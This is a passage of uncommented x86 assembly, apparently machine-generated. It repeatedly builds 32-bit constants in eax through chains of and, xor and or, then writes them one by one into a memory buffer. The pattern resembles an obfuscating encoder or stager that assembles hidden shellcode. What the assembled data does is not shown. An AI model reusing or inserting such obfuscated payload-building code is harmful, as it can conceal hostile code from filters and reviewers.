and eax, 0
or eax, 0x200736e4
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x74039de8
and eax, 0x7031d1ec
and eax, 0x5000800c
or eax, 0x2b4e6240
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x36207207
xor eax, 0x5bd1d351
and eax, 0xb44312
or eax, 0xe1002065
mov dword [ebx], eax
add ebx, ecx
and eax, 0x1fa57467
and eax, 0x1006007
or eax, 0x5a199f90
mov dword [ebx], eax
add ebx, ecx
and eax, 0x49fedeb8
and eax, 0x4118ca80
or eax, 0x82a62064
mov dword [ebx], eax
add ebx, ecx
and eax, 0x76228629
and eax, 0x40028220
or eax, 0xdd96c9b
mov dword [ebx], eax
add ebx, ecx
and eax, 0x65cfd33a
and eax, 0x148021a
or eax, 0x28302c04
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x15a932f4
and eax, 0x400ca2
or eax, 0x10e8204
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x69db8e5b
and eax, 0x750cb2cb
and eax, 0x200000c0
or eax, 0x11632b04
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x62293450
and eax, 0x42020300
or eax, 0xac300061
mov dword [ebx], eax
add ebx, ecx
and eax, 0x30375b09
and eax, 0x20300
or eax, 0xd0d10b8
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x617a1dec
or eax, 0x50749bc7
and eax, 0x5c149f41
or eax, 0x80826020
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x3a44733e
and eax, 0x6450005c
or eax, 0x90c2280
mov dword [ebx], eax
add ebx, ecx
and eax, 0x4efbfd0b
and eax, 0x44182000
or eax, 0x80804722
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x480470b5
and eax, 0x88840205
or eax, 0x22410840
mov dword [ebx], eax
add ebx, ecx
and eax, 0x45475b59
and eax, 0x410841
or eax, 0xabb8b484
mov dword [ebx], eax
add ebx, ecx
and eax, 0x53448195
and eax, 0x3408084
or eax, 0xb4bb4c18
mov dword [ebx], eax
add ebx, ecx
or eax, 0x25531a05
xor eax, 0x41001743
and eax, 0x528880
or eax, 0x40020
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x6794612a
and eax, 0x1c22902
or eax, 0x1d1054
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x37e8a082
or eax, 0x602e994e
and eax, 0x66390054
or eax, 0x400001
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x6c99a9ea
and eax, 0x2e0a1a6
or eax, 0xf1180200
mov dword [ebx], eax
add ebx, ecx
or eax, 0x1d9d9443
and eax, 0x281d43b3
and eax, 0x80380
or eax, 0xd220604c
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x56f33ca0
and eax, 0x670e5568
and eax, 0x4024548
or eax, 0x9801a291
mov dword [ebx], eax
add ebx, ecx
or eax, 0x2b19cf26
and eax, 0x2114b3d2
and eax, 0x2000a282
or eax, 0x40c65008
mov dword [ebx], eax
add ebx, ecx
and eax, 0x7453d78f
and eax, 0x4000520a
or eax, 0x8300000
mov dword [ebx], eax
add ebx, ecx
or eax, 0x1f655801
or eax, 0x5992e92c
and eax, 0x4874392f
or eax, 0x80080050
mov dword [ebx], eax
add ebx, ecx
or eax, 0x6582b313
or eax, 0x305e9998
and eax, 0x35ee0277
or eax, 0x14000
mov dword [ebx], eax
add ebx, ecx
or eax, 0x6aabd5a4
and eax, 0x2ca19fdd
and eax, 0x4810144
or eax, 0x905e2022
mov dword [ebx], eax
add ebx, ecx
and eax, 0x23287ed2
and eax, 0x80042
or eax, 0xf2c284ac
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x6f95c6fd
and eax, 0x89450213
or eax, 0x2a089a8
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x67d57aae
and eax, 0xc820d004
or eax, 0x30606c8
mov dword [ebx], eax
add ebx, ecx
or eax, 0x8e1aa90
and eax, 0x82c1e680
or eax, 0x34180001
mov dword [ebx], eax
add ebx, ecx
and eax, 0x3cab5f1
and eax, 0x8080
or eax, 0x8d235360
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x7d89b7bd
xor eax, 0x66b6fc9e
and eax, 0x96000842
or eax, 0x20836130
mov dword [ebx], eax
add ebx, ecx
or eax, 0x2b2bd6b7
and eax, 0x6336fd8b
and eax, 0x100ad80
or eax, 0x80d80064
mov dword [ebx], eax
add ebx, ecx
and eax, 0x371039bd
and eax, 0x1021a4
or eax, 0xbcc98040
mov dword [ebx], eax
add ebx, ecx
or eax, 0x172717bc
or eax, 0x3ede28c7
and eax, 0xafdeb8ff
or eax, 0x40000000
mov dword [ebx], eax
add ebx, ecx
and eax, 0x273a1b1a
and eax, 0x4c8d4890
and eax, 0x4080000
or eax, 0x8282c281
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x61e6d761
xor eax, 0x1973325c
and eax, 0xa817071c
or eax, 0x1405841
mov dword [ebx], eax
add ebx, ecx
and eax, 0x5497c747
and eax, 0x34205
or eax, 0x64280022
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x6c9259f0
and eax, 0x8880983
or eax, 0xc1400008
mov dword [ebx], eax
add ebx, ecx
or eax, 0x6e5eeea9
or eax, 0x220b5ce9
and eax, 0x3cd4b08
or eax, 0x10
mov dword [ebx], eax
add ebx, ecx
and eax, 0x6ee5a27d
or eax, 0x7e4133e9
and eax, 0x60c42199
or eax, 0x1020c02
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x77e96d8d
and eax, 0x10240004
or eax, 0x41101bc8
mov dword [ebx], eax
add ebx, ecx
and eax, 0x6317bb26
and eax, 0x64b29fd0
and eax, 0x40101300
or eax, 0x1b0d4461
mov dword [ebx], eax
add ebx, ecx
and eax, 0x3e265a2d
and eax, 0x8000221
or eax, 0xe4c38d9c
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x28f0d55
xor eax, 0x13399760
and eax, 0x8c341000
or eax, 0x802813
mov dword [ebx], eax
add ebx, ecx
and eax, 0x61946258
and eax, 0x2010
or eax, 0xc238deb
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x78e9ce08
and eax, 0x60024271
or eax, 0x1240004
mov dword [ebx], eax
add ebx, ecx
and eax, 0x446fb177
and eax, 0x1218f7b3
and eax, 0x10
or eax, 0x216a5c00
mov dword [ebx], eax
add ebx, ecx
and eax, 0x5e4e0c42
and eax, 0x80400
or eax, 0x5b80c014
mov dword [ebx], eax
add ebx, ecx
and eax, 0x29eff6dd
and eax, 0x988c004
or eax, 0xd41211a1
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x5db33b8b
and eax, 0x8021a026
or eax, 0x20c205d0
mov dword [ebx], eax
add ebx, ecx
or eax, 0x704b8c4a
and eax, 0x20492d4e
or eax, 0x1105201
mov dword [ebx], eax
add ebx, ecx
or eax, 0x38cb13e2
and eax, 0x21bf6174
and eax, 0x218a4060
or eax, 0x94248c1b
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x4db93d7c
xor eax, 0x22f9d29e
and eax, 0x80622111
or eax, 0x1118c64
mov dword [ebx], eax
add ebx, ecx
and eax, 0x68e8042e
xor eax, 0x18b13786
and eax, 0x113282
or eax, 0x224c040
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x2abaf1a6
and eax, 0x288d0120
or eax, 0x420e808
mov dword [ebx], eax
add ebx, ecx
or eax, 0x251e557b
and eax, 0x216030e6
and eax, 0x20203042
or eax, 0x46900611
mov dword [ebx], eax
add ebx, ecx
and eax, 0x60fe826c
and eax, 0x40900040
or eax, 0x97435824
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x20909204
or eax, 0x3b442786
and eax, 0x710343a4
or eax, 0x300019
mov dword [ebx], eax
add ebx, ecx
and eax, 0x2fea945f
and eax, 0x30fdccd0
and eax, 0x20200010
or eax, 0x595bfa04
mov dword [ebx], eax
add ebx, ecx
and eax, 0x26cdef0c
and eax, 0x40a000
or eax, 0x83901473
mov dword [ebx], eax
add ebx, ecx
or eax, 0xb782a31
and eax, 0x5c92e43a
and eax, 0x2420
or eax, 0xb7480301
mov dword [ebx], eax
add ebx, ecx
or eax, 0x31c24935
and eax, 0x80026220
or eax, 0x48341048
mov dword [ebx], eax
add ebx, ecx
and eax, 0x3c061e8
or eax, 0xac729a0
and eax, 0x549a8
or eax, 0x50188214
mov dword [ebx], eax
add ebx, ecx
or eax, 0x545bc2a5
and eax, 0x540b4835
or eax, 0x2b001002
mov dword [ebx], eax
add ebx, ecx
and eax, 0x228ec636
and eax, 0x6acf3b75
and eax, 0x22000004
or eax, 0x5453443
mov dword [ebx], eax
add ebx, ecx
or eax, 0x3de70365
and eax, 0x23272100
or eax, 0x40004008
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x5b2e44ce
or eax, 0x60b2d382
and eax, 0x4802f300
or eax, 0x7000020
mov dword [ebx], eax
add ebx, ecx
or eax, 0xf483043
or eax, 0x46fbb0eb
and eax, 0x4a8ad280
or eax, 0x90040400
mov dword [ebx], eax
add ebx, ecx
or eax, 0x6ca19d17
and eax, 0x7d021c74
and eax, 0x28000804
or eax, 0x22c4200
mov dword [ebx], eax
add ebx, ecx
or eax, 0x7cff1fa7
or eax, 0x213b1d79
and eax, 0x585e1ee5
or eax, 0x8000
mov dword [ebx], eax
add ebx, ecx
or eax, 0xf2937d9
and eax, 0x4fb353
and eax, 0xaa250
or eax, 0x7d900c8a
mov dword [ebx], eax
add ebx, ecx
and eax, 0x109ca3b
and eax, 0x812
or eax, 0xe8601141
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x10fce1c9
and eax, 0x21ae1801
and eax, 0x1800
or eax, 0x9c326784
mov dword [ebx], eax
add ebx, ecx
and eax, 0x5b39f215
and eax, 0x304204
or eax, 0x82848cab
mov dword [ebx], eax
add ebx, ecx
and eax, 0x4a5149e8
and eax, 0xfc3cada
and eax, 0x888
or eax, 0x1498b772
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x4d924303
and eax, 0x110214f0
or eax, 0xa6440206
mov dword [ebx], eax
add ebx, ecx
and eax, 0x40775ac3
and eax, 0x40082
or eax, 0xeea1cd21
mov dword [ebx], eax
add ebx, ecx
and eax, 0x685befc5
xor eax, 0x4c19df6d
and eax, 0x12e8
or eax, 0x40c48800
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x2ba00083
or eax, 0x46265745
and eax, 0xc229428
or eax, 0x10112080
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x4062eb75
or eax, 0x673314a5
and eax, 0x1b505345
or eax, 0x808c2000
mov dword [ebx], eax
add ebx, ecx
or eax, 0x393bb8f2
or eax, 0x53f39cc
and eax, 0xa916fbc9
or eax, 0x40000400
mov dword [ebx], eax
add ebx, ecx
or eax, 0x484854d1
and eax, 0x8958ee80
or eax, 0x10800006
mov dword [ebx], eax
add ebx, ecx
and eax, 0xf4df81e
and eax, 0x840e006
or eax, 0xa49604c9
mov dword [ebx], eax
add ebx, ecx
or eax, 0x6f6f667
and eax, 0x5eb79d22
and eax, 0x4869420
or eax, 0xe14800c1
mov dword [ebx], eax
add ebx, ecx
and eax, 0x7a849215
and eax, 0x34047657
and eax, 0x40001
or eax, 0xce83e3b0
mov dword [ebx], eax
add ebx, ecx
or eax, 0x530f327
or eax, 0x5f2c1988
and eax, 0x9ab1bbbf
or eax, 0x400040
mov dword [ebx], eax
add ebx, ecx
and eax, 0x2959e7ca
and eax, 0x11a2ca
or eax, 0x38a0830
mov dword [ebx], eax
add ebx, ecx
or eax, 0x50fad2aa
and eax, 0x50b8da90
or eax, 0xac000401
mov dword [ebx], eax
add ebx, ecx
or eax, 0x50626a17
and eax, 0xecfa7003
or eax, 0x2000048
mov dword [ebx], eax
add ebx, ecx
or eax, 0x61dfb7eb
and eax, 0xc1f3a2a2
or eax, 0x814
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x2d753490
xor eax, 0x7525c1b7
and eax, 0x98a05511
or eax, 0x624c8046
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x14ce3fca
or eax, 0x66494224
and eax, 0x46088a95
or eax, 0x10841040
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x5c1e970d
and eax, 0x663547d7
and eax, 0x100150
or eax, 0x4567282d
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x36375de7
and eax, 0x5f661db8
and eax, 0x42001410
or eax, 0xc054906
mov dword [ebx], eax
add ebx, ecx
and eax, 0x45c6c7c
and eax, 0x4000400
or eax, 0xb37b33e9
mov dword [ebx], eax
add ebx, ecx
and eax, 0x87f6dd5
and eax, 0x382441
or eax, 0x7680ca26
mov dword [ebx], eax
add ebx, ecx
or eax, 0x9a42968
and eax, 0x692cea24
or eax, 0x11000
mov dword [ebx], eax
add ebx, ecx
or eax, 0x1ca50058
and eax, 0x6420d07c
or eax, 0x80100000
mov dword [ebx], eax
add ebx, ecx
and eax, 0x105dd40
and eax, 0xc000
or eax, 0xe620a7
mov dword [ebx], eax
add ebx, ecx
and eax, 0x4c0ce20
or eax, 0x77424579
and eax, 0x17c2c538
or eax, 0x8013800
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x79b7f633
and eax, 0x2614090a
or eax, 0x898bd0b4
mov dword [ebx], eax
add ebx, ecx
and eax, 0x6cd834d1
xor eax, 0x37988236
and eax, 0xa001080
or eax, 0x4742519
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x4647ac3d
and eax, 0x48010880
or eax, 0xb3806611
mov dword [ebx], eax
add ebx, ecx
and eax, 0x5c53956f
and eax, 0x10400
or eax, 0x87d27938
mov dword [ebx], eax
add ebx, ecx
and eax, 0x6a2fe521
and eax, 0x2002420
or eax, 0x4d090de
mov dword [ebx], eax
add ebx, ecx
and eax, 0x50e15b16
xor eax, 0xedcf355
and eax, 0x4042241
or eax, 0x51621c28
mov dword [ebx], eax
add ebx, ecx
or eax, 0x1b633176
and eax, 0x7500955d
and eax, 0x1001019
or eax, 0xa334002
mov dword [ebx], eax
add ebx, ecx
and eax, 0x6f26fd60
and eax, 0x1221000
or eax, 0x345d0b59
mov dword [ebx], eax
add ebx, ecx
and eax, 0x7cea362d
and eax, 0x10200201
or eax, 0xcb052034
mov dword [ebx], eax
add ebx, ecx
and eax, 0xdb47de9
and eax, 0x9240000
or eax, 0xc680d68e
mov dword [ebx], eax
add ebx, ecx
and eax, 0x4c4c33a0
and eax, 0x4000280
or eax, 0x9182c10c
mov dword [ebx], eax
add ebx, ecx
and eax, 0x5d6b03e6
and eax, 0x20084
or eax, 0x62e8b428
mov dword [ebx], eax
add ebx, ecx
or eax, 0x938f658
or eax, 0x1f65646b
and eax, 0xd6220cf
or eax, 0x80000100
mov dword [ebx], eax
add ebx, ecx
or eax, 0x7c59f0a1
or eax, 0x46600642
and eax, 0x2331f3ca
or eax, 0x840800
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x201b9fbd
and eax, 0xe4000
or eax, 0x18018a88
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x2c779c97
and eax, 0x440000e
or eax, 0xa070160
mov dword [ebx], eax
add ebx, ecx
and eax, 0x787aaf52
xor eax, 0x46b8a7e3
and eax, 0x4c3a0421
or eax, 0x15140
mov dword [ebx], eax
add ebx, ecx
or eax, 0x14b3d674
and eax, 0x10394311
or eax, 0xa104200a
mov dword [ebx], eax
add ebx, ecx
or eax, 0x58a521c4
and eax, 0x8ad421a
or eax, 0x2000020
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x618ddd36
and eax, 0x79a8cf29
and eax, 0x28200608
or eax, 0x92571050
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x737db44
and eax, 0x1940491c
or eax, 0x263020
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x3043a0a5
and eax, 0x9251801
or eax, 0x104a0020
mov dword [ebx], eax
add ebx, ecx
or eax, 0x6041efe9
and eax, 0xf2103ad
and eax, 0x8010308
or eax, 0xa2443450
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x37c62c64
and eax, 0x14010a10
or eax, 0x4264e402
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x18d7358a
and eax, 0x21a14b9a
and eax, 0x804890
or eax, 0xa3129001
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x5652788e
and eax, 0x94c0801b
or eax, 0x3213e0
mov dword [ebx], eax
add ebx, ecx
and eax, 0x772daf27
and eax, 0x10208121
or eax, 0xea90408c
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x774251c
xor eax, 0x43df0615
and eax, 0x9608a284
or eax, 0x601d53
mov dword [ebx], eax
add ebx, ecx
or eax, 0x16b71d93
and eax, 0x8093a2c7
or eax, 0x60000028
mov dword [ebx], eax
add ebx, ecx
or eax, 0x1d626c3f
and eax, 0x1d0e6af
or eax, 0x2040100
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x7f3c3d43
and eax, 0x4cc8c064
or eax, 0x81072002
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x2d65bd1f
and eax, 0x602a4519
or eax, 0x19418084
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x4fc6fac3
or eax, 0x53af72a7
and eax, 0x30a276a1
or eax, 0x88508000
mov dword [ebx], eax
add ebx, ecx
and eax, 0x6804583d
and eax, 0x28001000
or eax, 0x93f4aecc
mov dword [ebx], eax
add ebx, ecx
or eax, 0x617fb4cf
and eax, 0x11413a4d
or eax, 0x4000120
mov dword [ebx], eax
add ebx, ecx
or eax, 0x580e2fce
or eax, 0x22fa47c
and eax, 0x500c395b
or eax, 0x100000
mov dword [ebx], eax
add ebx, ecx
or eax, 0x71b9ed09
or eax, 0x423985a0
and eax, 0x332da863
or eax, 0xc400204
mov dword [ebx], eax
add ebx, ecx
and eax, 0x614f1e63
and eax, 0x41
or eax, 0xc0b08090
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x69f1ff3c
xor eax, 0x7b2cf94e
and eax, 0x82010082
or eax, 0x180105c
mov dword [ebx], eax
add ebx, ecx
and eax, 0x4f16b229
and eax, 0x2000000
or eax, 0xc0056254
mov dword [ebx], eax
add ebx, ecx
and eax, 0x226c7ec5
xor eax, 0x642bd8cc
and eax, 0x262aa088
or eax, 0x88904522
mov dword [ebx], eax
add ebx, ecx
or eax, 0xd07ace2
or eax, 0x4a5cd465
and eax, 0xcca5bdec
or eax, 0
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x2176d6c2
and eax, 0xa113602c
or eax, 0x41050
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x106be1e9
and eax, 0x32546aaf
and eax, 0x30440084
or eax, 0x8e8a8570
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x442e7982
and eax, 0xba805076
or eax, 0x4150308
mov dword [ebx], eax
add ebx, ecx
or eax, 0x3a27f6c2
and eax, 0x94b285da
or eax, 0
mov dword [ebx], eax
add ebx, ecx
or eax, 0x6177b061
and eax, 0x40e511a1
or eax, 0x2080a04
mov dword [ebx], eax
add ebx, ecx
or eax, 0xf66271e
and eax, 0x4e0a3c06
or eax, 0x104000
mov dword [ebx], eax
add ebx, ecx
and eax, 0x727f1c0
and eax, 0x4024000
or eax, 0x5804087d
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x5e10b51
and eax, 0x18670124
or eax, 0x24181812
mov dword [ebx], eax
add ebx, ecx
and eax, 0x5e06002d
and eax, 0x10040004
or eax, 0x61605153
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x25a3c667
and eax, 0x14441300
or eax, 0x2310684e
mov dword [ebx], eax
add ebx, ecx
or eax, 0x1aac67da
and eax, 0x1a542652
or eax, 0x20021
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x7024bb54
xor eax, 0x31eb33ad
and eax, 0x9818c80
or eax, 0xa4241124
mov dword [ebx], eax
add ebx, ecx
or eax, 0x13ed6b0f
xor eax, 0x7eb9fde9
and eax, 0xc0400206
or eax, 0x403c890
mov dword [ebx], eax
add ebx, ecx
and eax, 0x3bd65158
and eax, 0x65647cd7
and eax, 0x400010
or eax, 0x151b2acc
mov dword [ebx], eax
add ebx, ecx
or eax, 0x272da44c
and eax, 0x17268c0c
or eax, 0x800102
mov dword [ebx], eax
add ebx, ecx
and eax, 0x33b7d6b8
xor eax, 0x53cfdbbd
and eax, 0x40084f00
or eax, 0xb4020008
mov dword [ebx], eax
add ebx, ecx
and eax, 0x5937da3e
or eax, 0x2e040e4
and eax, 0x50224a24
or eax, 0xa8190010
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x1ec73e21
xor eax, 0x56d508fc
and eax, 0x802010c0
or eax, 0xdc08206
mov dword [ebx], eax
add ebx, ecx
or eax, 0x497dbc08
and eax, 0x417818ce
or eax, 0x12000111
mov dword [ebx], eax
add ebx, ecx
and eax, 0x7f66ef0f
and eax, 0x5ca2298b
and eax, 0x50000100
or eax, 0xa55e6024
mov dword [ebx], eax
add ebx, ecx
and eax, 0x51f803cb
or eax, 0x66a8b24
and eax, 0x10680824
or eax, 0xa8841413
mov dword [ebx], eax
add ebx, ecx
or eax, 0xc892414
and eax, 0x579b7eb0
and eax, 0x14013430
or eax, 0x12280c5
mov dword [ebx], eax
add ebx, ecx
and eax, 0x127b3bc6
and eax, 0x10212044
or eax, 0x8a1c4b39
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x799c40f8
and eax, 0xc3000301
or eax, 0x1016402a
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x3a53ce67
or eax, 0x181ab2a9
and eax, 0x13bda5
or eax, 0x2204010
mov dword [ebx], eax
add ebx, ecx
or eax, 0x393295f3
and eax, 0x813d945
or eax, 0xc48c0200
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x5ad8d30f
and eax, 0x10400002
or eax, 0x8a8b091
mov dword [ebx], eax
add ebx, ecx
and eax, 0x4400875b
and eax, 0x8012
or eax, 0x36006e84
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x117de3c4
and eax, 0x5e922de5
and eax, 0x4000d40
or eax, 0xd1e01238
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x2a03c825
or eax, 0x4c2faad8
and eax, 0x8ecb5549
or eax, 0x100002
mov dword [ebx], eax
add ebx, ecx
and eax, 0x6d4a84d9
or eax, 0x4ba86a37
and eax, 0x43820816
or eax, 0x90140000
mov dword [ebx], eax
add ebx, ecx
or eax, 0x71716c8
xor eax, 0x34b3452f
and eax, 0x43205101
or eax, 0x4c10404
mov dword [ebx], eax
add ebx, ecx
or eax, 0x5719ad6
or eax, 0x424d8edd
and eax, 0x1f84f04
or eax, 0x98002000
mov dword [ebx], eax
add ebx, ecx
or eax, 0x57ee3cc1
and eax, 0xc2bc4f81
or eax, 0x20008028
mov dword [ebx], eax
add ebx, ecx
and eax, 0x3092e47b
or eax, 0x54901b84
and eax, 0x44800928
or eax, 0x88660012
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x4c94c655
and eax, 0x220d08
or eax, 0x6d012010
mov dword [ebx], eax
add ebx, ecx
or eax, 0x3f502884
and eax, 0x331b9ff2
and eax, 0x31120010
or eax, 0x4c08502d
mov dword [ebx], eax
add ebx, ecx
and eax, 0x60a9ffd0
and eax, 0x53a6aa29
and eax, 0
or eax, 0xa58e8a4a
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x4ca8c23b
or eax, 0x31f289ec
and eax, 0x11720839
or eax, 0x10202
mov dword [ebx], eax
add ebx, ecx
or eax, 0x3711c0ba
and eax, 0x1701c0b1
or eax, 0x88880000
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x239f34da
and eax, 0x2014f428
or eax, 0x2010180
mov dword [ebx], eax
add ebx, ecx
and eax, 0x10eb144b
and eax, 0x2cc30124
and eax, 0
or eax, 0x13402c5e
mov dword [ebx], eax
add ebx, ecx
or eax, 0x5fed7ec0
and eax, 0x5571548c
and eax, 0x1121440c
or eax, 0x22221
mov dword [ebx], eax
add ebx, ecx
or eax, 0x6befa608
and eax, 0x582b6229
or eax, 0x4100000
mov dword [ebx], eax
add ebx, ecx
or eax, 0x5d792019
or eax, 0x2eac760
and eax, 0x68b2730
or eax, 0x20041886
mov dword [ebx], eax
add ebx, ecx
and eax, 0xb3aa485
or eax, 0x6d31b334
and eax, 0xa08a380
or eax, 0x80844009
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x6516c79e
and eax, 0xef180414
or eax, 0x10640848
mov dword [ebx], eax
add ebx, ecx
or eax, 0x416c0ae6
xor eax, 0x6c520c7
and eax, 0xe9810601
or eax, 0x604c180
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x642f52ce
or eax, 0x7062989d
and eax, 0x8a28084
or eax, 0x44200
mov dword [ebx], eax
add ebx, ecx
and eax, 0x396d4051
and eax, 0x8204000
or eax, 0x8088a542
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x5342390
and eax, 0x6c87aa6a
and eax, 0x240
or eax, 0x21596c99
mov dword [ebx], eax
add ebx, ecx
or eax, 0x40361090
and eax, 0x24448f4a
and eax, 0x20400608
or eax, 0x1b106181
mov dword [ebx], eax
add ebx, ecx
and eax, 0x27df516f
xor eax, 0x4589c21a
and eax, 0x66410203
or eax, 0x98202864
mov dword [ebx], eax
add ebx, ecx
or eax, 0x7c66e41d
and eax, 0xc2458215
or eax, 0x800180
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x7ae88f43
and eax, 0x1280a95a
and eax, 0x10000040
or eax, 0x899b3720
mov dword [ebx], eax
add ebx, ecx
and eax, 0x78a66876
xor eax, 0x7bf6dc55
and eax, 0x63345004
or eax, 0x1400008a
mov dword [ebx], eax
add ebx, ecx
or eax, 0x4f1e62c7
and eax, 0x62127007
or eax, 0xc10500
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x48104557
and eax, 0x421000
or eax, 0x4030830d
mov dword [ebx], eax
add ebx, ecx
or eax, 0x2c1a6cfd
and eax, 0x215e5a2a
and eax, 0x104220
or eax, 0xc1a10405
mov dword [ebx], eax
add ebx, ecx
and eax, 0x6d9255e5
or eax, 0x280b1a7c
and eax, 0x21815029
or eax, 0x92008080
mov dword [ebx], eax
add ebx, ecx
or eax, 0x517ce431
and eax, 0x809da4b9
or eax, 0x20b42
mov dword [ebx], eax
add ebx, ecx
or eax, 0x1afb7963
or eax, 0x71db9f57
and eax, 0xe93a5a27
or eax, 0x4000000
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x2a4026ce
and eax, 0x122ef394
and eax, 0x2221080
or eax, 0xec848634
mov dword [ebx], eax
add ebx, ecx
and eax, 0x12ae0300
xor eax, 0x5f83d845
and eax, 0x4250201
or eax, 0x2502418
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x52344229
and eax, 0x10016010
or eax, 0xaa9803c6
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x6aa014f6
and eax, 0x90205220
or eax, 0x25c280c3
mov dword [ebx], eax
add ebx, ecx
and eax, 0x47dcf0a0
xor eax, 0x249d9f0d
and eax, 0x20500c8d
or eax, 0x1c829040
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x69c31eb3
and eax, 0x1018004
or eax, 0x88c3d01
mov dword [ebx], eax
add ebx, ecx
or eax, 0x59351e97
and eax, 0x50942800
or eax, 0xa0424048
mov dword [ebx], eax
add ebx, ecx
and eax, 0x63c375d4
and eax, 0x40006000
or eax, 0x8005102f
mov dword [ebx], eax
add ebx, ecx
and eax, 0x2c58cc74
or eax, 0x3792ee42
and eax, 0x3022646
or eax, 0x40001109
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x52bf1a98
xor eax, 0x414a176c
and eax, 0xd71802
or eax, 0x85088104
mov dword [ebx], eax
add ebx, ecx
and eax, 0x7b8910a
and eax, 0x1889002
or eax, 0xe22008fd
mov dword [ebx], eax
add ebx, ecx
or eax, 0x620ec4a2
and eax, 0xc322948a
or eax, 0x8010100
mov dword [ebx], eax
add ebx, ecx
and eax, 0x58dd2ef5
and eax, 0x10480
or eax, 0x358ad943
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x4b089f5f
and eax, 0x76000218
or eax, 0x1240942
mov dword [ebx], eax
add ebx, ecx
and eax, 0x1507ad4c
or eax, 0x63bf5a1d
and eax, 0x673f4b01
or eax, 0x80400020
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x32f12673
and eax, 0x80860152
or eax, 0x5090a9
mov dword [ebx], eax
add ebx, ecx
or eax, 0x2f2cf914
or eax, 0x65b64319
and eax, 0x838cc0ea
or eax, 0x10400
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x50b9dec4
and eax, 0x4fc4a34e
and eax, 0x4304000c
or eax, 0xa84128e1
mov dword [ebx], eax
add ebx, ecx
or eax, 0x31484f67
and eax, 0x59096ce8
or eax, 0xb28000
mov dword [ebx], eax
add ebx, ecx
or eax, 0x666eeb9c
and eax, 0x5928c867
and eax, 0x40288824
or eax, 0x4d61082
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x2fcc7524
and eax, 0x6312ad00
or eax, 0x100d004d
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x21a1484f
xor eax, 0x180ef321
and eax, 0x42100221
or eax, 0x100409d4
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x7af4918d
and eax, 0x20808010
or eax, 0x57174184
mov dword [ebx], eax
add ebx, ecx
or eax, 0x7c275c72
and eax, 0x4c929d00
or eax, 0x80400001
mov dword [ebx], eax
add ebx, ecx
and eax, 0x68cf4229
and eax, 0x40000000
or eax, 0x2535596e
mov dword [ebx], eax
add ebx, ecx
and eax, 0x5960a521
and eax, 0x1200100
or eax, 0x108b8284
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x1c3b3c65
and eax, 0xd908420
or eax, 0xd043001e
mov dword [ebx], eax
add ebx, ecx
and eax, 0x33a19181
